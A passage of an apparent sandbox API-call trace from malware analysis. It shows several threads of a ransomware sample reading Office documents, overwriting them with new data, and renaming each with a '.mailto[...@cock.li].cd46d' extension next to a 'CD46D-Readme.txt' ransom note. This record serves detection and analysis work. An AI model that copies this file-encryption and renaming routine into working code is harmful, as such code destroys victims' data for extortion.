Seed=0x930fdc8) returned 0x1895914a [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x4968db53 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x62d6c82e [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x2dad1164 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x7d2a6979 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x62efbee6 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x1e8c89d1 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x2241716e [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x27d00e8e [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x541e4c3e [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x68b599c1 [0047.809] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x7b804236 [0047.810] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x2aa8fd57 [0047.810] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x229722ee [0047.810] RtlRandomEx (in: Seed=0x930fdc8 | out: Seed=0x930fdc8) returned 0x60d4c020 [0047.821] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.821] ReadFile (in: hFile=0x6d0, lpBuffer=0x96ca0e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x930fd9c, lpOverlapped=0x0 | out: lpBuffer=0x96ca0e8*, lpNumberOfBytesRead=0x930fd9c*=0xc800, lpOverlapped=0x0) returned 1 [0047.821] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d50 [0047.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45c38 [0047.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda20 [0047.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda20) returned 1 [0047.822] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96d68f0 [0047.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4eda20 [0047.824] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.824] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edac0) returned 1 [0047.824] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 [0047.825] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0047.825] WriteFile (in: hFile=0x6d0, lpBuffer=0x96d68f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x930fd9c, lpOverlapped=0x0 | out: lpBuffer=0x96d68f0*, lpNumberOfBytesWritten=0x930fd9c*=0xc800, lpOverlapped=0x0) returned 1 [0048.069] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96d68f0) returned 1 [0048.072] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96ca0e8) returned 1 [0048.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4ef258 [0048.074] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.074] WriteFile (in: hFile=0x6d0, lpBuffer=0x95d0388*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x930fe1c, lpOverlapped=0x0 | out: lpBuffer=0x95d0388*, lpNumberOfBytesWritten=0x930fe1c*=0x107, lpOverlapped=0x0) returned 1 [0048.129] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0388) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef288) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e472d0) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef258) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda20) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4eda98) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edae8) returned 1 [0048.130] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb10) returned 1 [0048.130] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x442d30 [0048.130] wcscpy (in: _Dest=0x442d30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx" [0048.130] wcscat (in: _Dest=0x442d30, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.130] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x930fdd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L-BaTG.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.130] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00880 [0048.130] NtSetInformationFile (FileHandle=0x6d0, IoStatusBlock=0x930fdcc, FileInformation=0x5e00880, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0048.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00880) returned 1 [0048.249] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x451810) returned 1 [0048.249] NtQueryInformationFile (in: FileHandle=0x6d0, IoStatusBlock=0x930fde0, FileInformation=0x930fdb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x930fde0, FileInformation=0x930fdb8) returned 0x0 [0048.249] NtSetInformationFile (FileHandle=0x6d0, IoStatusBlock=0x930fde0, FileInformation=0x930fdb8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.250] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x442d30) returned 1 [0048.250] FlushFileBuffers (hFile=0x6d0) returned 1 [0048.285] CloseHandle (hObject=0x6d0) returned 1 [0048.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.287] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.287] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.287] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4217a8) returned 1 Thread: id = 322 os_tid = 0xb80 [0047.825] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lndn32bwpxkug_t3fo.xlsx")) returned 0x20 [0047.825] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx", dwFileAttributes=0x20) returned 1 [0047.825] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lndn32bwpxkug_t3fo.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6d4 [0047.825] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x5f4fef4 | out: lpFileSize=0x5f4fef4*=27359) returned 1 [0047.825] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x6adb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.825] ReadFile (in: hFile=0x6d4, lpBuffer=0x5f4fe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x5f4fe74, lpOverlapped=0x0 | out: lpBuffer=0x5f4fe78*, lpNumberOfBytesRead=0x5f4fe74*=0x4, lpOverlapped=0x0) returned 1 [0047.826] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb38 [0047.826] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb60 [0047.826] NtQuerySystemTime (in: CurrentTime=0x5f4fe54 | out: CurrentTime=0x5f4fe54*=132174898118064000) returned 0x0 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x1d1fa003 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x25c630f8 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x22c1fbae [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x3bacd9a0 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x1e2fa0 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x63527018 [0047.826] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x57b8568 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x3cb969b8 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x3b091ac8 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x5aa9d175 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x4a9a72a6 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x11ccd53d [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x1aa0c4c4 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x115f8b03 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x5939e525 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x4f0a06ff [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0xe613304 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0xc484729 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x2294c910 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x3eed1cf5 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x1353f681 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0xe5c4d83 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x4d0f4959 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0xae82cc9 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x2418aaaf [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x64148cad [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x6156eccf [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x65178202 [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x4dd8b27b [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x4b5fe0cc [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x7b53a66a [0047.827] RtlRandomEx (in: Seed=0x5f4fe60 | out: Seed=0x5f4fe60) returned 0x1da18638 [0047.839] ReadFile (in: hFile=0x6d4, lpBuffer=0x96e30f8, nNumberOfBytesToRead=0x6adf, lpNumberOfBytesRead=0x5f4fe50, lpOverlapped=0x0 | out: lpBuffer=0x96e30f8*, lpNumberOfBytesRead=0x5f4fe50*=0x6adf, lpOverlapped=0x0) returned 1 [0047.840] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.840] WriteFile (in: hFile=0x6d4, lpBuffer=0x96ef900*, nNumberOfBytesToWrite=0x6adf, lpNumberOfBytesWritten=0x5f4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x96ef900*, lpNumberOfBytesWritten=0x5f4fe4c*=0x6adf, lpOverlapped=0x0) returned 1 [0048.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e472f8 [0048.076] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47320 [0048.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47320) returned 1 [0048.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96ef900) returned 1 [0048.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96e30f8) returned 1 [0048.084] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 [0048.084] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0048.084] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x402d50 [0048.084] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.084] WriteFile (in: hFile=0x6d4, lpBuffer=0x95d0498*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x5f4feb4, lpOverlapped=0x0 | out: lpBuffer=0x95d0498*, lpNumberOfBytesWritten=0x5f4feb4*=0x11f, lpOverlapped=0x0) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47320) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e472f8) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb38) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb88) returned 1 [0048.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edbb0) returned 1 [0048.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00950 [0048.131] wcscpy (in: _Dest=0x5e00950, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx" [0048.131] wcscat (in: _Dest=0x5e00950, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d" [0048.131] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x5f4fe6c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\LNdN32bWPxkuG_T3FO.xlsx.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0048.131] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x95d0048 [0048.131] NtSetInformationFile (FileHandle=0x6d4, IoStatusBlock=0x5f4fe64, FileInformation=0x95d0048, Length=0xde, FileInformationClass=0xa) returned 0x0 [0048.251] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0048) returned 1 [0048.251] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x451198) returned 1 [0048.251] NtQueryInformationFile (in: FileHandle=0x6d4, IoStatusBlock=0x5f4fe78, FileInformation=0x5f4fe50, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x5f4fe78, FileInformation=0x5f4fe50) returned 0x0 [0048.251] NtSetInformationFile (FileHandle=0x6d4, IoStatusBlock=0x5f4fe78, FileInformation=0x5f4fe50, Length=0x28, FileInformationClass=0x4) returned 0x0 [0048.252] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00950) returned 1 [0048.252] FlushFileBuffers (hFile=0x6d4) returned 1 [0048.288] CloseHandle (hObject=0x6d4) returned 1 [0048.289] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x400a18 [0048.289] wcscpy (in: _Dest=0x400a18, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0048.289] wcscat (in: _Dest=0x400a18, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" [0048.289] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cd46d-readme.txt")) returned 0x20 [0048.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a18) returned 1 [0048.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4474b8) returned 1 Thread: id = 323 os_tid = 0xb9c [0047.843] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lpqt7vutzlspv luk.doc")) returned 0x20 [0047.843] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc", dwFileAttributes=0x20) returned 1 [0047.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\lPqt7vUTZlSPv Luk.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\lpqt7vutzlspv luk.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x6d8 [0047.844] GetFileSizeEx (in: hFile=0x6d8, lpFileSize=0x93fff14 | out: lpFileSize=0x93fff14*=42410) returned 1 [0047.844] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0xa5a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.844] ReadFile (in: hFile=0x6d8, lpBuffer=0x93ffe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x93ffe94, lpOverlapped=0x0 | out: lpBuffer=0x93ffe98*, lpNumberOfBytesRead=0x93ffe94*=0x4, lpOverlapped=0x0) returned 1 [0047.844] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.844] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0047.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb60 [0047.845] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edbd8 [0047.845] NtQuerySystemTime (in: CurrentTime=0x93ffe74 | out: CurrentTime=0x93ffe74*=132174898118220000) returned 0x0 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x26e18464 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x5821fa82 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x221698ae [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x3455e357 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x2f3809d3 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0xbdae114 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x554709a [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x33049530 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x33bcdf8c [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x233b3023 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x6da8264f [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x617d222e [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x3cd73c56 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x2cd21dec [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x104e16a [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x3f990177 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x3024a677 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0xb33e463 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x373e2332 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x7fdae211 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x2dc6c4a3 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x154cfec2 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x204c53e9 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x65f2da66 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0xbc40395 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x8b0df80 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x64b12cf7 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x1d7df7e2 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x7cb8620d [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x5d69d49 [0047.845] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x21ebbfee [0047.846] RtlRandomEx (in: Seed=0x93ffe80 | out: Seed=0x93ffe80) returned 0x2e0f4ee7 [0047.857] ReadFile (in: hFile=0x6d8, lpBuffer=0x96fc108, nNumberOfBytesToRead=0xa5aa, lpNumberOfBytesRead=0x93ffe70, lpOverlapped=0x0 | out: lpBuffer=0x96fc108*, lpNumberOfBytesRead=0x93ffe70*=0xa5aa, lpOverlapped=0x0) returned 1 [0047.858] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0047.859] WriteFile (in: hFile=0x6d8, lpBuffer=0x9708910*, nNumberOfBytesToWrite=0xa5aa, lpNumberOfBytesWritten=0x93ffe6c, lpOverlapped=0x0 | out: lpBuffer=0x9708910*, lpNumberOfBytesWritten=0x93ffe6c*=0xa5aa, lpOverlapped=0x0) returned 1 [0048.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47348 [0048.085] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5e47370 [0048.085] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47370) returned 1 [0048.085] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9708910) returned 1 [0048.086] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fc108) returned 1 [0048.087] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45cb0) returned 1 [0048.087] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee018) returned 1 [0048.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x440b20 [0048.087] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.087] WriteFile (in: hFile=0x6d8, lpBuffer=0x95d05c0*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x93ffed4, lpOverlapped=0x0 | out: lpBuffer=0x95d05c0*, lpNumberOfBytesWritten=0x93ffed4*=0x11b, lpOverlapped=0x0) returned 1 [0048.132] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, 